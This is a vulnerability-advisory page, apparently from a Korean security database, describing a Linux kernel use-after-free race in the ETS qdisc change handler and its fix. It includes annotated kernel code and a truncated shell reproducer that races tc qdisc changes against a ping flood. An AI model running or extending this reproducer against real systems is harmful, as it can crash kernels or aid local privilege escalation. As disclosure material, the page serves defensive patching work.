net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
zdi-disclosures@trendmicro.com says:
The vulnerability is a race condition between ets_qdisc_dequeue and
ets_qdisc_change. It leads to UAF on struct Qdisc object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
...
1 // (1) this lock is preventing .change handler (`ets_qdisc_change`) 2 //to race with .dequeue handler (`ets_qdisc_dequeue`) 3 sch_tree_lock(sch); 4 5 for (i = nbands; i < oldbands; i++) { 6 if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) 7 list_del_init(&q->classes[i].alist); 8 qdisc_purge_queue(q->classes[i].qdisc); 9 }10 11 WRITE_ONCE(q->nbands, nbands);12 for (i = nstrict; i < q->nstrict; i++) {13 if (q->classes[i].qdisc->q.qlen) {14 // (2) the class is added to the q->active15 list_add_tail(&q->classes[i].alist, &q->active);16 q->classes[i].deficit = quanta[i];17 }18 }19 WRITE_ONCE(q->nstrict, nstrict);20 memcpy(q->prio2band, priomap, sizeof(priomap));21 22 for (i = 0; i < q->nbands; i++)23 WRITE_ONCE(q->classes[i].quantum, quanta[i]);24 25 for (i = oldbands; i < q->nbands; i++) {26 q->classes[i].qdisc = queues[i];27 if (q->classes[i].qdisc != &noop_qdisc)28 qdisc_hash_add(q->classes[i].qdisc, true);29 }30 31 // (3) the qdisc is unlocked, now dequeue can be called in parallel32 // to the rest of .change handler33 sch_tree_unlock(sch);34 35 ets_offload_change(sch);36 for (i = q->nbands; i < oldbands; i++) {37 // (4) we're reducing the refcount for our class's qdisc and38 // freeing it39 qdisc_put(q->classes[i].qdisc);40 // (5) If we call .dequeue between (4) and (5), we will have41 // a strong UAF and we can control RIP42 q->classes[i].qdisc = NULL;43 WRITE_ONCE(q->classes[i].quantum, 0);44 q->classes[i].deficit = 0;45 gnet_stats_basic_sync_init(&q->classes[i].bstats);46 memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));47 }48 return 0;}
Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc
Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)
1DEV="${DEV:-lo}" 2ROOT_HANDLE="${ROOT_HANDLE:-1:}" 3BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 4PING_BYTES="${PING_BYTES:-48}" 5PING_COUNT="${PING_COUNT:-200000}" 6PING_DST="${PING_DST:-127.0.0.1}" 7 8SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" 9SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"10SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"11 12cleanup() {13 tc qdisc del dev "$DEV" root 2>/dev/null14}15trap cleanup EXIT16 17ip link set "$DEV" up18 19tc qdisc del dev "$DEV" root 2>/dev/null || true20 21tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 222 23tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \24 tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"25 26tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:227tc -s qdisc ls dev $DEV28 29ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \30 >/dev/null 2>&1 &31tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 032tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 233tc -s qdisc ls dev $DEV34tc qdisc del dev "$DEV" parent 35---truncated---AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
영향받는 제품·버전
- Linux Linuxae2659d2c670252759ee9c823c4e039c0e05a6f2 ≤ x < 062d5d544e564473450d72e6af83077c2b2ff7c3, e25bdbc7e951ae5728fee1f4c09485df113d013linux
- Linux Linux5.16linux
참고 자료 7
링크 내용 불러오는 중…